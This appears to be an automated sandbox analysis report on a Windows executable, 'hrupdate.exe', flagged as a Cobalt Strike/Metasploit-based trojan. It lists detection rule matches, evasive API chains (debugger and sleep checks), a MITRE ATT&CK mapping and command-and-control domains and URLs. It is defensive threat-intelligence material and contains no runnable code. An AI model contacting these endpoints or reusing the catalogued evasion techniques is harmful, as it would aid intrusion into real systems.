Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d

Source: classification engine

Classification label: mal96.troj.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FC77F5 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_04FC77F5

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FCA1AE CreateThread,GetModuleHandleA,GetProcAddress,CreateToolhelp32Snapshot,Thread32First,Thread32Next,Sleep,

0_2_04FCA1AE

Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: slv	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SibcorUpdate	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SibcorUpdate	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00B01480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: @qv	0_2_00B01480

Source: hrupdate.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\hrupdate.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: hrupdate.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: hrupdate.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb source: hrupdate.exe
Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb%% source: hrupdate.exe

Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FEECF7 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,FreeLibrary,

0_2_04FEECF7

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D0710 push cs; iretd	0_3_030D0714
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D3B29 push cs; iretd	0_3_030D3B30
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D5143 push cs; iretd	0_3_030D5144
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D4F77 push cs; iretd	0_3_030D4F78
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D1DBE push cs; iretd	0_3_030D1DC8
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D43DF push cs; iretd	0_3_030D43E4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D01F9 push ebp; ret	0_3_030D01FA
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D07F3 push cs; iretd	0_3_030D07F4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D4403 push cs; iretd	0_3_030D4404
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D241F push cs; iretd	0_3_030D2438
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D161B push cs; iretd	0_3_030D161C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D2816 push ds; iretd	0_3_030D281C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D3422 push cs; iretd	0_3_030D3428
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D123C push cs; iretd	0_3_030D12AC
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D2053 push cs; iretd	0_3_030D2054
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D3A75 push cs; iretd	0_3_030D3A7C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D2077 push cs; iretd	0_3_030D2078
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D1683 push cs; iretd	0_3_030D1684
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D2497 push cs; iretd	0_3_030D2498
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D38AF push cs; iretd	0_3_030D38B0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D4AB8 push cs; iretd	0_3_030D4AC4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D42CB push cs; iretd	0_3_030D42CC
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D2AC5 push cs; iretd	0_3_030D2B0C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D06D4 push cs; iretd	0_3_030D06E0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D4AD6 push edi; retf	0_3_030D4AE4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D38EC push cs; iretd	0_3_030D392C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030D34F0 push cs; iretd	0_3_030D34F4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_00B038D6 push ecx; ret	0_2_00B038E9
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FDD7C0 push eax; ret	0_2_04FDD7C7
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FE0BB1 push ecx; ret	0_2_04FE0BC4

Source: C:\Users\user\Desktop\hrupdate.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\hrupdate.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FCBBF1		0_2_04FCBBF1
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FC6BE7		0_2_04FC6BE7

Source: C:\Users\user\Desktop\hrupdate.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-18421

Source: C:\Users\user\Desktop\hrupdate.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-16394
Source: C:\Users\user\Desktop\hrupdate.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-16381

Source: C:\Users\user\Desktop\hrupdate.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-16649

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FC6BE7

0_2_04FC6BE7

Source: C:\Users\user\Desktop\hrupdate.exe TID: 7484

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FCE544 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_04FCE544
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FC8839 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_04FC8839

Source: hrupdate.exe, 00000000.00000002.2942922670.000000000124E000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2166447850.000000000128F000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2236318352.000000000128F000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2325730281.000000000128E000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2303657563.000000000128E000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.2942922670.0000000001289000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2259042912.000000000128F000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2211659727.000000000128F000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2188630065.000000000128F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\hrupdate.exe	API call chain: ExitProcess graph end node			graph_0-16650
Source: C:\Users\user\Desktop\hrupdate.exe	API call chain: ExitProcess graph end node			graph_0-17021

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FDD81B LdrInitializeThunk,

0_2_04FDD81B

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00B0364F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B0364F

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FEECF7 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,FreeLibrary,

0_2_04FEECF7

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030DCA68 mov eax, dword ptr fs:[00000030h]		0_3_030DCA68
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_030DBE95 mov eax, dword ptr fs:[00000030h]		0_3_030DBE95

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FEEE9D VirtualQuery,GetModuleFileNameW,GetPdbDll,GetProcAddress,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,

0_2_04FEEE9D

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_00B03084 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B03084
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_00B0364F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B0364F
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_00B037E2 SetUnhandledExceptionFilter,	0_2_00B037E2
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FE1CCF _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_04FE1CCF
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FE555E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_04FE555E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FD33CB LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_04FD33CB

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FD359B GetCurrentProcessId,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_04FD359B

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00B0390E cpuid

0_2_00B0390E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: GetLocaleInfoA,

0_2_04FEB0B0

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FC78A5 CreateNamedPipeA,

0_2_04FC78A5

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00B0353E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B0353E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00B01480 WSAStartup,GetUserNameW,wcstombs_s,memset,strncat,WSACleanup,LoadStringW,LoadStringW,LoadStringW,LoadIconW,LoadIconW,LoadCursorW,LoadIconW,RegisterClassExW,CreateWindowExW,UpdateWindow,LoadIconW,lstrcpyW,Shell_NotifyIconW,LoadAcceleratorsW,GetMessageW,GetMessageW,DialogBoxParamW,TranslateAcceleratorW,TranslateMessage,DispatchMessageW,GetMessageW,terminate,

0_2_00B01480

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FCBCA3 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_04FCBCA3

Source: C:\Users\user\Desktop\hrupdate.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hrupdate.exe PID: 7428, type: MEMORYSTR

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FCC481 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_04FCC481
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FD3FA4 socket,closesocket,htons,bind,listen,	0_2_04FD3FA4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FCC39F socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_04FCC39F

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	21 Access Token Manipulation	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	21 Access Token Manipulation	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	24 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hrupdate.exe	3%	ReversingLabs
hrupdate.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ec2-3-79-209-76.eu-central-1.compute.amazonaws.com	3.79.209.76	true	true		unknown
www.hrtraining.ro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.hrtraining.ro	true		unknown
https://www.flntp.ro/rss/portallogin-gettask.html	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.hrtraining.ro/:D2	hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html&X2	hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498dummyhttp://www.hrtraining.ro/trakingu/invalid	hrupdate.exe	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlw	hrupdate.exe, 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/ss/portallogin-gettask.html	hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trakingu/	hrupdate.exe	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmla	hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498b	hrupdate.exe, 00000000.00000002.2943524353.0000000004C6C000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlg	hrupdate.exe, 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498	hrupdate.exe	false	unknown
http://www.hrtraining.ro/trakingu/useruser	hrupdate.exe, 00000000.00000002.2942801537.00000000010FB000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html=E3&	hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/R	hrupdate.exe, 00000000.00000002.2942922670.0000000001289000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html03	hrupdate.exe, 00000000.00000003.2672690716.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/	hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html	hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html:D2	hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
